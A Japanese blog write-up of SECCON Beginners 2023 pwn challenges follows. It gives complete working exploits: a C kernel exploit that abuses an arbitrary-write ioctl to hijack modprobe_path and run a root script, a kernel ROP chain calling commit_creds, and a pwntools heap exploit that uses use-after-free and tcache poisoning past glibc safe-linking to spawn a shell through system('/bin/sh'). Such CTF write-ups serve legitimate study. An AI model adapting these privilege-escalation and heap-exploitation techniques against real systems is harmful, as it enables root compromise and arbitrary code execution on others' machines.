SECCON FOR Beginner 2023 Writeup (pwn)
今年も楽しくSECCONG for beginnerをやりました。
PWNを全完しましたので、難しめだった2問(カーネルとヒープ)のWrite upを書きます。
driver4b (19 solve)
簡単なカーネル問。
カーネル問ってコマンドが特殊だったりするので、チートシート的なの作ってないとすぐ忘れちゃうんだよね。
特に、SMAP、SMEP、kaslrを確認する方法。いや、qemuのコマンドのオプション見ればわかるけど、下記のコマンドでもわかる。
ことを忘れて時間を溶かしてたので、そんなことが無いように下記のコマンドのタトゥーを入れようと思います。
~ # cat /proc/cpuinfo | grep smep ~ # cat /proc/cpuinfo | grep smap ~ # ~ # dmesg | grep "Kernel/User" Kernel/User page tables isolation: enabled
まぁ上を見てわかる通り、SMAPもSMEPもない。
ただしKPTIが有効。
さて脆弱性だが、下記でわかる通り、任意のアドレスに任意のメッセージを書き込める。
具体的には、CTF4B_IOCTL_STOREで、カーネル内の領域 g_messageになんでも書き込める。
CTF4B_IOCTL_LOADで、任意の場所にg_messageから書き込むことができる。
だから、任意の場所に任意の文字が書ける。SMAPが無効だから本当に任意に書き込める。
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { char *msg = (char*)arg; switch (cmd) { case CTF4B_IOCTL_STORE: /* Store message */ memcpy(g_message, msg, CTF4B_MSG_SIZE); break; case CTF4B_IOCTL_LOAD: /* Load message */ memcpy(msg, g_message, CTF4B_MSG_SIZE); break; default: return -EINVAL; } return 0; }
KASLRも無効だから、もっとも簡単な方法は、modprobe_pathを書き換える方法だろう。解いたのはその方法だった。
#include "../src/ctf4b.h" #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> void fatal(const char *msg) { perror(msg); exit(1); } int main() { char *buf; int fd; unsigned long modprobe = 0xffffffff81e3a080; fd = open("/dev/ctf4b", O_RDWR); if (fd == -1) fatal("/dev/ctf4b"); buf = (char*)malloc(CTF4B_MSG_SIZE); if (!buf) { close(fd); fatal("malloc"); } /* Get message */ memset(buf, 0, CTF4B_MSG_SIZE); ioctl(fd, CTF4B_IOCTL_LOAD, buf); printf("Message from ctf4b: %s\n", buf); /* Update message */ strcpy(buf, "/tmp/evil.sh"); ioctl(fd, CTF4B_IOCTL_STORE, buf); /* Get message again */ memset(buf, 0, CTF4B_MSG_SIZE); ioctl(fd, CTF4B_IOCTL_LOAD, modprobe); printf("Message from ctf4b: %s\n", buf); free(buf); close(fd); system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh"); system("chmod +x /tmp/evil.sh"); system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn"); system("chmod +x /tmp/pwn"); system("/tmp/pwn"); return 0; }
これをgcc ./exploit.c -o exploit --staticでコンパイルして、--static忘れないでね。
リモート環境に送ればOK。aws上にwebサーバーを立ててリモートからwgetしてexploitした。
さて、当然この問題はAAWなので、解法はいくらでもある。
というか、最初modprobe pathを思いつかず、普通にkernel ropとkpti トランポリンしようとしてたけど、
なんか変な現象が起きて動かなかった。
こんな感じのスタックフレームでROPしていたんだけど、
unsigned long *fake_stack_p = fake_stack; *fake_stack_p++ = pop_rdi; *fake_stack_p++ = 0x0; *fake_stack_p++ = prepare_kernel_cred; *fake_stack_p++ = push_rax; *fake_stack_p++ = pop_rdi; *fake_stack_p++ = commit_creds; *fake_stack_p++ = swapgs_restore_regs_and_return_to_usermode; *fake_stack_p++ = 0xdeadbeef; *fake_stack_p++ = 0xdeadbeef; *fake_stack_p++ = (unsigned long)&get_shell; *fake_stack_p++ = user_cs; *fake_stack_p++ = user_rflags; *fake_stack_p++ = user_rsp; *fake_stack_p++ = user_ss;
prepare_kernel_credに飛ぶときに何故か、下位4バイトしか反映されなかった。は?
これから、0xffffffff81093f00に飛ぼうとしてる。
いや0x3f00に飛ぶんかい。なんで?
これさえ通れば、多分この方法でもできるんだけど。
原因が全然わからなかった。
No_Control (15 solve)
ヒープ問題。いわゆるメモアプリである。
(base) ubuntu@ubuntu-virtual-machine:~/ctf/seccon4b/poem/No_Control$ ./chall 1. create 2. read 3. update 4. delete 5. exit > 1 index: 1 1. create 2. read 3. update 4. delete 5. exit > 3 index: 1 content: aaaaaaa 1. create 2. read 3. update 4. delete 5. exit > 2 index: 1 aaaaaaa 1. create 2. read 3. update 4. delete 5. exit
1.mallocの初期化漏れ
下記で、mallocしてるけど、領域を初期化してないからfreeした領域を再びmallocしてreadすると、中身が見えてしまう。
void create_memo() { int idx; char *memo; idx = ask_index(); if (idx < 0 || LIST_SIZE <= idx) { puts("Invalid index. now choose unused one."); for (idx = 0; idx < LIST_SIZE; idx++) { if (memos[idx] == NULL) { break; } } } if (LIST_SIZE <= idx) { puts("Can't find unused memo"); return; } memo = malloc(MEMO_SIZE); memos[idx] = memo; return; }
2.USE AFTER FREE
これ気づきづらかった。
下記、invalidだった場合でも、なんとmemoがnullじゃなければ動いてしまう。
しかもmemoが初期化されてなくて、deleteした直後のポインタがmemoに残っている。
void update_memo() { int idx; char *memo; idx = ask_index(); if (idx < 0 || LIST_SIZE <= idx) { puts("Invalid index"); } else if (memos[idx] == NULL) { puts("that memo is empty"); } else { memo = memos[idx]; } if (memo == NULL) { puts("something wrong"); } else { printf("content: "); read(STDIN_FILENO, memo, MEMO_SIZE); } return; }
さて、こんだけ脆弱性があれば何でもできるだろ、という気もするがセキュリティ機構がきつい。
pwndbg> checksec RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 55) Symbols No 0 3 /home/ubuntu/ctf/seccon4b/poem/No_Control/chall
RELROもあれば、PIEもある。
ということで、方針を考える。
まず、脆弱性1を使ってheapのアドレスを取得する。同時にfreeできるのは5個まで、かつmallocのサイズは
0x80なのでtcacheからheapのアドレスをリークできる。(safe linkingが有効なのでちょっとめんどい)
次に、heapのアドレスだけわかってもどうしようもないので、libcのアドレスを取得する。
これはどうすればよいかというと、freeを2回した後に、脆弱性2を使うことでtcacheのfdを書き換えて
tcache poisonningを使って、heapのほかののチャンクのサイズを改ざんして、freeをすることでunsortedbinに入れる。(いわゆるhouse of spirit)
unsortedbinに入ればlibcのmain_arenaのアドレスが手に入るので、脆弱性1を使って、libcのアドレスがわかる。
そのあとは、煮るなり焼くなりコロ助なりではあるが、libcのenvironをtcache poisonningで抜いてきてstackのアドレスを取得して、
tcache poisonningでstack内に領域を取り、systemを呼んだ。
難しかったのはunsorted binにぶち込むためのfreeで、防御機構をバイパスする必要があるところか。
from pwn import * elf=ELF("/home/ubuntu/ctf/seccon4b/poem/No_Control/chall") libc=ELF("/home/ubuntu/ctf/seccon4b/poem/No_Control/libc.so.6") #p=process("/home/ubuntu/ctf/seccon4b/poem/No_Control/chall" # , aslr=True # ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/seccon4b/poem/No_Control/libc.so.6"} ) p=remote("no-control.beginners.seccon.games",9005) #gdb.attach(p) def create(index): p.sendlineafter(">", "1") p.sendlineafter("index:", str(index)) return def read(index): p.sendlineafter(">", "2") p.sendlineafter("index:", str(index)) return p.recvline() def update(index, message): p.sendlineafter(">", "3") p.sendlineafter("index:", str(index)) p.sendlineafter("content:", message) return def delete(index): p.sendlineafter(">", "4") p.sendlineafter("index:", str(index)) return def cryptoSafelinking(pos, ptr): return (pos >> 12) ^ ptr create(0) delete(0) # leak heap memory create(0) p.sendlineafter(">", "2") p.sendlineafter("index:", str(0)) p.recv(1) heapbase = u64(p.read(5).ljust(8, b"\x00")) * 0x1000 log.info("heap base is:" + hex(heapbase)) # leak libc memory by make chunk into unsorted bin # setup tcache poisonning create(0) create(1) create(2) delete(0) delete(1) update(1, p64(cryptoSafelinking(heapbase, heapbase + 0x440))) create(0) create(0) update(0, p64(0x91) + p64(0x421)) create(1) create(1) create(1) create(1) create(1) create(1) create(1) update(1, p64(0xdead) + p64(0xdead) + p64(0xdead) + p64(0xdead) + p64(0x420) + p64(0x421)) create(1) create(1) create(1) create(1) create(1) create(1) create(1) update(1, p64(0xcafe) + p64(0xcafe) + p64(0xcafe) + p64(0xcafebabe) * 6 + p64(0x420) + p64(0x420) + p64(0x421)) delete(2) create(0) p.sendlineafter(">", "2") p.sendlineafter("index:", str(0)) p.recv(5) libcbase = u64(p.read(6).ljust(8, b"\x00")) - 0x21A0D0 log.info("libc base is:" + hex(libcbase)) # chunk2 goes into unsorted bin! # leak stack memory from libc eviron create(0) create(1) create(2) delete(0) delete(1) update(1, p64(cryptoSafelinking(heapbase, libcbase + libc.symbols["environ"]))) create(0) create(0) p.sendlineafter(">", "2") p.sendlineafter("index:", str(0)) p.recv(6) stackbase = u64(p.read(6).ljust(8, b"\x00")) - 0x08 -0x120 log.info("stack base is:" + hex(stackbase)) # finary we hijack stack using tcache poisonning create(0) create(1) create(2) delete(0) delete(1) update(1, p64(cryptoSafelinking(heapbase, stackbase))) create(0) create(0) pop_rdi = 0x0002a3e5 ret = 0x00029cd6 update(0, p64(0xdeadbeef) + p64(libcbase + ret) + p64(libcbase + pop_rdi) + p64(libcbase + next(libc.search(b'/bin/sh'))) + p64(libcbase + libc.symbols["system"]) ) p.interactive()
これでexitすればshellがとれるよ。